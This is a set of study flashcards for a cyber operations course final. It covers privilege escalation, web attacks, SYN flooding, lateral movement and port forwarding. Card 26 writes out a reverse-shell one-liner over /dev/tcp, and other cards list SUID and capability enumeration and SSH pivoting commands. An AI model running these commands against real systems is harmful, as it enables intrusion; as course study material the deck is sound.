Brainscape's Knowledge GenomeTM

Browse over 1 million classes created by top students, professors, publishers, and experts.


See full index

Cyber Operations > Final > Flashcards

Final Flashcards

1
Q

What are the 4 main ways to do Privilege Escalation?

A
  1. Known Exploits
  2. Direct Method
  3. Indirect Method
  4. Credential Theft
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

What command shows you what you can run as sudo?

A

sudo -l

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

What are setUID programs?

A

Executables that, when run, will take on the privileges of the owner

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

What command shows all setUID programs on the system?

A

find / -perm -4000 2>/dev/null

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

What are capabilities?

A

Executables that, when run, have special abilities that the user might not have themselves

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

What command shows all capabilities on the system?

A

getcap -r / 2>/dev/null

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

What is UAC on Windows?

A

Similar to sudo

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

How can you view the crontab?

A

cat /etc/crontab

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

How can you find public config files?

A

find /etc -type f -perm -2

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

How can you find scheduled tasks on windows?

A

schtasks

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

How can you find windows services?

A

sc

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

What is LOLBAS?

A

GTFOBins for Windows

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

Explain how Windows paths can be exploited

A

Unquoted paths can be exploited if there are spaces in directory names

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

Whats the difference between /etc/shadow and /etd/passwd

A

/etc/passwd has users etc/shadow
has password hashes

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

What is in band SQLi?

A

uses the same communication channel to execute the attack and retrieve the results

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

Whats the best way to defend against SQLi?

A

Prepared statements/sanitize inputs

17
Q

What is Cross Site Request Forgery (CSRF)?

A

An attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated

18
Q

What is Stored CSRF?

A

When the CSRF payload is stored on the webpage itself

19
Q

What actions can you perform with a CSRF attack?

A

POST
GET
PUT
DELETE

20
Q

What does the Same Origin Policy (SOP) protect against?

A

CSRF due to a script making an HTTP PUT to another origin

21
Q

Whats the best way to defend against CSRF?

A

CSRF Token

22
Q

What is Cross Site Scripting (XSS)?

A

A type of injection, in which malicious scripts are injected into otherwise benign and trusted websites

23
Q

What is the TCP handshake?

A

SYN, SYN+ACK, ACK

24
Q

What is SYN Flooding?

A

An attacker floods the TCP server with half-open TCP connections which then causes the TCP server to not receive any more connections

25
Q

How can SYN Flooding be prevented?

A

TCP Retransmission
Size of SYN Queue
TCP Cache
SYN Cookie

26
Q

What is a general command to get a reverse shell?

A

/bin/bash -i > /dev/tcp/<ip>/<port> 0<&1 2>&1</port></ip>

27
Q

How does the Mitnick attack work?

A
  1. Disable the trusted server
  2. Attacker creates and hijacks a TCP session by spoofing the following from the Trusted Server:
    1) SYN
    2) ACK
    3) RSH command
  3. Spoof the return connection from the victim server
28
Q

How do SYN cookies defend against SYN flooding?

A
  1. The attacker does not receive the SYN/ACK from the server and cannot calculate the value of the SYN/ACK’s sequence number
  2. The server does not keep a SYN queue
29
Q

When injecting data into an existing TCP session, why do you not have to guess the sequence number exactly?

A

As long as you get the sequence number within the TCP sliding window, the data will be sent to the application eventually

30
Q

Lateral Movement

A

Any “advancement” in the network that is not an “elevation”

31
Q

What are the different lateral movement techniques?

A

PsExec
WinRM
WMI
Smbexec

32
Q

What is a Pass-The-Hash attack?

A

When you can authenticate with just the hash of a password, instead of the plaintext

33
Q

What is static port forwarding?

A

Destinations are fixed
One tunnel for each destination

34
Q

What is dynamic port forwarding?

A

Destinations are NOT fixed
One tunnel for many destinations
Uses SOCKS proxy

35
Q

What does a forward static port forwarding command look like?

A

ssh -4NT -L [local port]:[end goal ip]:[end goal port] user@[intermediate ip] (run on local machine)

36
Q

What does a reverse static port forwarding command look like?

A

ssh -4NT -L 0.0.0.0:[home port]:[end goal ip]:[end goal port] user@[home ip] (run on remote machine)

37
Q

Explain Metasploit route and autoroute

A

Route - route to a particular IP address through an existing session
Autoroute - Post module to add new routes found from a session

38
Q

What is a wormable vulnerability?

A

A network vulnerability which can allow a worm to self-propagate by automatically gaining RCE on new hosts

39
Q

When we perform the buffer overflow, what values do we overwrite on the stack?

A

The return address
The previous frame pointer
The function arguments

Cyber Operations (2 decks)

Brainscape helps you reach your goals faster, through stronger study habits.
© 2025 Bold Learning Solutions. Terms and Conditions